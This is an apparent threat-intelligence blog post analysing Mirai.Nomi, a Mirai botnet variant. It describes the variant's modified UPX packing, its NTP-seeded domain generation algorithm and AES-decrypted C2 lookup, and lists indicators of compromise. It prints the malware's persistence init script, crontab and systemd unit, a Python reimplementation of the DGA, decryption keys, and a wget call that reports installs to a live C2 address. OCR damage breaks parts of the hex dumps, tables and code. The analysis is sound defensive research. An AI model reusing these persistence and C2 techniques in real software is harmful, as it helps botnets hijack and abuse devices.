Mirai Nomi: A Botnet Leveraging DGA

blog.xlab.qianxin.com/mirai-nomi-en/

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Overview

The Mirai family, as the evergreen tree of botnet, exists numerous variants, but rarely appear Mirai variants using DGA(Domain Generation Algorithm), according to our observation, the last Mirai variant using DGA appeared in 2016. in March 2024, we captured new suspicious ELF samples, which we learnt through analysis to be another Mirai variant using DGA, and analysed the associated historical samples, we not only found a version that did not use DGA (2024.02), but also an exploit scanner and remote control sample (2024.01), which aroused our great interest. Based on the version information in the download script, we tentatively named it Mirai.

The Mirai.nomi sample exhibits the following characteristics:

- Modified UPX Packed(magic number changed and payload XORed)
- Time-dependent DGAs and verify C2 availability
- Multiple encryption and hashing algorithms (AES, CHACHA20, MD5)

Sample Analysis

The latest ELF sample, derived from the Mirai LZRD variant, introduces persistent functions and a domain generation function. Other parts of the code largely retain the original code.

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0000h:	7F	45	4C	46	01	01	01	03	00	00	00	00	00	00	00	00	.ELF
0010h:	02	00	28	00	01	00	00	00	04	D8	0C	00	34	00	00	00	(ø4
0020h:	00	00	00	00	02	00	00	04	34	00	20	00	03	00	28	00	4(.
0030h:	00	00	00	00	01	00	00	00	00	00	00	00	00	80	00	00	€
0040h:	00	80	00	00	00	10	00	00	C0	18	08	00	06	00	00	00	.€À
0050h:	00	80	00	00	01	00	00	00	00	00	00	00	00	00	09	00	.€
																	ØáØá
0070h:	00	80	00	00	51	E5	74	64	00	00	00	00	00	00	00	00	.€Qåtd
0090h:	04	00	00	00	24	4D	6C	Β4	0B	ЗE	2A	AF	E4	09	0D	17	\$Ml′ <mark>.>*</mark> ä
00A0h:	00	00	00	00	BC	E6	06	00	BC	E6	06	00	D4	00	00	00	¼æ¼æÔ
00B0h:	7C	00	00	00	03	00	00	00	F9	AB	91	98	92	D5	64	D4	ù«'~'ÕdÔ

The UPX packer's magic num is modified to OB 3E 2A AF

After decompressing each block, a single-byte XOR operation with 0xD4 is performed. The sample can be unpacked through dynamic dumping or rebuild the UPX source code.

```
if ( i <= v8 && v8 <= *a2 )
{
    if ( i >= v8 )
    {
        result = decompress_3FFFE3D8(v4, a2[1], i);
        goto LABEL_24;
    }
    v10 = v4[1];
    v11 = a2[1];
    v21 = v8;
    result = a3(v10, i, v11, &v21, v18);
    v12 = a2[1];
    for ( i = 0; i < v16; ++i )
        *(_BYTE *)(i + v12) ^= ØxD4u;</pre>
```

The following analysis primarily focuses on the persistent functions and domain generation algorithm.

Persistence

The sample copies itself to /var/tmp/nginx_kel upon startup, and is persisted via the dnsconfig, crontab, dnsconfigs.service, and rc.local files, respectively, as follows

Change /etc/init.d/dnsconfig、 /etc/rc.d/init.d/dnsconfigs to:

```
#!/bin/sh
### BEGIN INIT INFO
# Provides:
                      asd
# Required-Start: $remote_fs $syslog
# Required-Stop: $remote_fs $syslog
                   2345
016
# Default-Start:
# Default-Stop:
# Short-Description: Start asd at boot time
# Description:
                 Enable service provided by daemon.
### END INIT INFO
# Change the following to the path of your program
ASD_PATH="/var/tmp/nginx_kel"
section_enabled() {
    $ASD_PATH initd &
    return 0
}
section_provider() {
    $ASD_PATH initd &
    return 1
}
start_instance() {
    $ASD_PATH initd &
}
start_service() {
    $ASD_PATH initd &
}
stop_service() {
    $ASD_PATH initd &
}
case "$1" in
    start)
        echo "Starting asd"
        # Start command for your program
        $ASD_PATH initd &
        ;;
    stop)
        echo "Stopping asd"
        # Stop command for your program
        pkill -f $ASD_PATH
        ;;
    restart)
        echo "Restarting asd"
        $ASD_PATH initd &
        ;;
    *)
        echo "Usage: $0 {start|stop|restart}"
```

```
exit 1
;;
esac
```

exit 0

Write 0 * * * /var/tmp/nginx_kel crontab to /var/tmp/.recoverys and execute the command "crontab /var/tmp/.recoverys"

Create service /etc/system/dnsconfigs.service and start it:

[Unit] Description=dnsconfigs Server Service [Service] Type=simple Restart=always RestartSec=60 User=root ExecStart=/var/tmp/nginx_kel sv [Install] WantedBy=multi-user.target

Append /var/tmp/nginx_kel rclocal & to /etc/rc.d/rc.local

DGA

Time Seed

Time-based DGA generally need to get the current time, which in most cases can be obtained by converting the system time, but this variant takes a different approach and uses Network Time Protocol (NTP) to get the time.

24 6.775761 32 16.767864 48 26.622392 73 47.080976 25 7.022809 33 17.000269 49 26.859966 74 47 313621	10.0.2.15 10.0.2.15 10.0.2.15 10.0.2.15 129.6.15.28 129.6.15.28 129.6.15.28 129.6.15.28	129.6.15.28 129.6.15.28 129.6.15.28 129.6.15.28 10.0.2.15 10.0.2.15 10.0.2.15 10.0.2.15	NTP NTP NTP NTP NTP NTP NTP NTP	90 NTP Version 3, client 90 NTP Version 3, client 90 NTP Version 3, client 90 NTP Version 3, client 90 NTP Version 3, server 90 NTP Version 3, server 90 NTP Version 3, server
74 47.313621	129.6.15.28	10.0.2.15	NTP	90 NTP Version 3, server

> Flags: 0x1c, Leap Indicator: no warning, Version number: NTP Vers:^	^	0000	52	54	00	12	34	56	52	55	0a	00	02	02	08	00	45	00
[Request In: 24]		0010	00	4c	00	12	00	00	40	11	de	5e	81	0 6	Øf	1 c	0a	00
[Delta Time: 0.247048000 seconds]		0020								38								
Peer Clock Stratum: primary reference (1)		0030								49								
Peer Polling Interval: 13 (8192 seconds)		0040											e9	93	9e	b3	91	d1
Peer Clock Precision: 0.000000 seconds		0050	4d	69	e9	93	9e	b3	91	d1	66	24						
Root Delay: 0.000244 seconds																		
Root Dispersion: 0.000488 seconds																		
Reference ID: NIST telephone modem																		
Reference Timestamp: Mar 7, 2024 02:01:36.00000000 UTC																		
Origin Timestamp: NULL																		
Receive Timestamp: Mar 7, 2024 02:02:27.569599950 UTC																		
Transmit Timestamp: Mar 7, 2024 02:02:27.569601424 UTC	-																	

Multiple public NTP IPs are hardcoded in the sample, and after fetching the Reference Timestamp in the NTP response field, the timestamp is divided by 604800, which means that the time seed changes over a period of 7 days, and if the fetch fails, the seed is assigned the value of 9999.

Algorithm Analysis

The generated domain name consists of two parts.

The first part: the time seed is varied by MD5 and chacha20 algorithms to pick a part of the final hexadecimal string with a fixed length of 10, which is represented as $[a-f0-9]{10}$ in regular expression.

Part 2: Decrypted TLDs, DDNS domains from string table.

Note that the CHACHA20 Key in this algorithm is 16 Byte, which is not supported by the commonly used pycryptodemo; in the last MD5, the length of the data used is fixed to 64, which is not the real length of the data, so it needs to be complemented with 0.

The domain generation algorithm is as follows:

```
import datetime
import hashlib
import string
form chacha20 import chacha20_cipher
dt = datetime.datetime.timestamp(datetime.datetime.utcnow())
timeseed = str(int(dt)//604800)
tlds = [".dontargetme.nl", ".ru", ".nl", ".xyz", ".duckdns.org",
".chickenkiller.com", ".accesscam.org", ".casacam.net", ".ddnsfree.com", ".mooo.com",
".strangled.net", ".ignorelist.com", ".geek", ".oss", ".websersaiosnginxo.ru",
".session.oss", ".session.geek"]
sld = bytearray()
for i, c in enumerate(timeseed):
    if not c.isdigit():
        sld.append((5 * ord(c)-477)%26+ord('a'))
    else:
        sld.append(ord(c))
md5_hex = bytearray(hashlib.md5(sld).hexdigest().encode())
xx20data = bytearray()
sort_index = [31, 2, 5, 4, 0, 18, 26, 21, 29, 4, 2, 6]
for index in sort_index:
    xx20data.append(md5_hex[index])
xx20key = bytearray.fromhex("764D1ABCF84ED5673B85B46EFA044D2E")
xx20nonce = bytearray.fromhex("1F786E3950864D1EAAB82D42")
md5data = chacha20_cipher(xx20key, xx20nonce, xx20data, 12)
m5 = bytearray(hashlib.md5(md5+b"\x00"*(64-len(res))).hexdigest().encode())
sort_index1 = [11, 12, 15, 14, 10, 18, 16, 1, 9, 14]
sld = bytearray()
for index in sort_index1:
    sld.append(m5[index])
for tld in tlds:
    print(sld.decode()+tld)
```

The following domains were generated in the Thu 7 March 2024 00:00:00 UTC - Thu 14 March 2024 00:00:00 UTC timeframe, and judging by the order of the connections, the authors favour the use of free DDNS domains or OpenNic domains to keep costs down.

1a1f31761f.dontargetme.nl 1a1f31761f.session.oss 1a1f31761f.session.geek 1a1f31761f.duckdns.org 1a1f31761f.geek 1a1f31761f.oss 1a1f31761f.chickenkiller.com 1a1f31761f.accesscam.org 1a1f31761f.casacam.net 1a1f31761f.ddnsfree.com 1a1f31761f.mooo.com 1a1f31761f.strangled.net 1a1f31761f.ignorelist.com 1a1f31761f.ru 1a1f31761f.nl 1a1f31761f.xyz 1a1f31761f.websersaiosnginxo.ru

C2 Decrypt and Verify

Most of the generated domains will be used as C2s, but there is still a long way to go to obtain the final C2 for the variant.

The sample is hardcoded with multiple public DNS servers for obtaining TXT records for the above generated domain names.

```
Additional RRs: 10

> Queries

> Answers

> 1a1f31761f.dontargetme.nl: type TXT, class IN

Name: 1a1f31761f.dontargetme.nl

Type: TXT (Text strings) (16)

Class: IN (0x0001)

Time to live: 1800 (30 minutes)

Data length: 33

TXT Length: 32

TXT: 3519239A211D1808ED7DF5AD296F2856

> Authoritative nameservers
```

› Additional records

As shown above by resolving the domain name 1a1f31761f.dontargetme.nl, the hexadecimal string 3519239A211D1808ED7DF5AD296F2856 is obtained in the TXT record, which is decrypted by AES-256-CBC to get the final C2 147.78.12.176.

AES-Key(hex): 7645565D1380763F5E33F2881C932D4A9F8D204444675540273C3D9E99590A1C

AES-IV(hex): 9C1D34765712D2803E4F569ABCEF1020


~

In order to further verify whether the C2 is usable, the authors added a verification mechanism, which firstly generates a check code of length 32 based on the previously generated domain name, and then connects to the above C2 and receives data for verification. The check code generation is very similar to the domain name generation, also using a combination of CHACHA20 and MD5 encoded data:

```
domain = b"1a1f31761f.dontargetme.nl"
check = chacha20_cipher(xx20key, xx20nonce, domain)
m5 = hashlib.md5(check+b"\x00"*(64-len(check))).hexdigest()
check = bytearray()
for i, c in enumerate(m5):
    if not c.isdigit():
        check.append((5 * ord(c) - 477) % 26 + ord('a'))
    else:
        check.append(ord(c))
print(check.decode())
```

After the above calculation, the check code of 1a1f31761f.dontargetme.nl is
4ihsnicnc766x8nn5xih9c7138780xcn.

Connect the above decrypted C2 with port 24150 and try to receive the data of size 1023, as shown in the figure, the response contains the check code, which means that C2 is available.



Download Script

While most mirai download scripts only execute download and run commands, this variant adds the ability to delete files, kill processes, verify execution and feedback to the script.

The ability to delete and kill processes is most likely to update samples, prepare for persistence, and kill other bots. blacklist of filename:arm mips mipsel good_main new_nginx_kel.

The condition to determine whether the execution is successful or not is whether to output the string "goodluck", if the sample is successfully executed, request http://204.93.164.31:9528/notwork?name=nomi_\${version} via wget, we guess for the purpose of counting the number of installations, and the version parameter is variable. (eg: ver134).

DDoS Attack

The current `Mirai.Nomi' attack activity is not very active from our data. It is probably still in the developmental stage, as shown in the attack statistics below:

Attack Instruction Trends - attack_count Victim_count									Targeted IP L	Targeted IP Location Distribution							
			2024-03-10		- 25		1	2024-03-		O By Day ⊖ By)	tour 1 trootiups			and the second second		Sec.	
Attack Instructions List																	
CC Server (1)			Export as CSV												search		Q,
147.78.12.176	4	*	Start Time Q		Duration	Count 0	C&C Server	C&C IP	Port	Botnet Family	Туре	Targeted IP	DNS Records	Targeted Ports	Targeted Organiz ation	Targeted Countrie	Targeted ASN
 CC Port (1) 			> 2024-03-11-20	44.58		5	347.78.12.176	147.78.12.176	17560	nisi	#6.6	227.19/32		0		France	AS16276/OVH SAS
17560	4		> 2024-03-11 20	13:20		5	147.78.12.176	147.78.12.176	17560	mirai	#6.6	. 227.19/32		0		France	AS16276/OVH SAS
 Victim Port (1) 			> 2024-03-10-21	16:45		3	147.78.12.176	147.78.12.176	17560	nisi	ati.,3	227.19/32		0		France	AS16276/OVH SAS
0	4		> 2024-03-10 21	18:13		3	547.78.52.176	147.78.12.176	17560	mirai	atk_8	227.19/32		0		France	AS16276/OVH SAS
 malware_family (1) 															tool 4 50p v		Go to 1 Page
mitai	4																
 attack_type (3) atk_6 	2																
atk_3	1																
atk_8	1																
victim (1)																	
	4																
 victim region (1) 																	
funce	4																
 victim asn (1) 																	
AS16276/OVH SAS																	

Contact Us

Readers are always welcomed to reach us on twitter.

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Domain

auth.postdarkness.shop xza.goweqmcsa.xyz axz.lionos.xyz ml.lionos.xyz wwea.goweqmcsa.xyz api.virtue.ltd mhacker.cc

IP

156.96.155.238	United States Pennsylvania Clarks Summit	AS46664 VolumeDrive
38.6.178.140	United States None None AS40065 CNSERVERS LLC	
38.207.165.117	Canada Ontario Toronto AS967 VMISS Inc.	
204.93.164.31	United States Illinois Chicago AS834 IPX0 LLC	
23.224.176.63	United States California Los Angeles AS40065	CNSERVERS LLC
147.78.12.176	The Netherlands Noord-Holland Amsterdam AS21223	88 Datacamp Limited

Sample SHA1

5bdf567a32d1883b2a57277515bfa95d02f92664	mirai
49b48351aa4d2d893d7de8bb856ca1609a6b3434	mirai_nomi
1fb5ead77068bb5c9526dcbd2cd5c78f10c7b5ff	mirai
824ef78f1dab6d936a097c8beedf440f32e2aae6	VenomRAT
bb00f0728f3aff52a144b109476e5b0caa66abca	AVTECH-scanner
7036a0106820ec81a975b9ccd19463e609fed6c7	reverse shell
2df610e0b08663e90d207c9545d977076a60fdaf	reverse shell
b25c96cb9e96f1abda6ade9212f3ceea44f53d6c	dofloo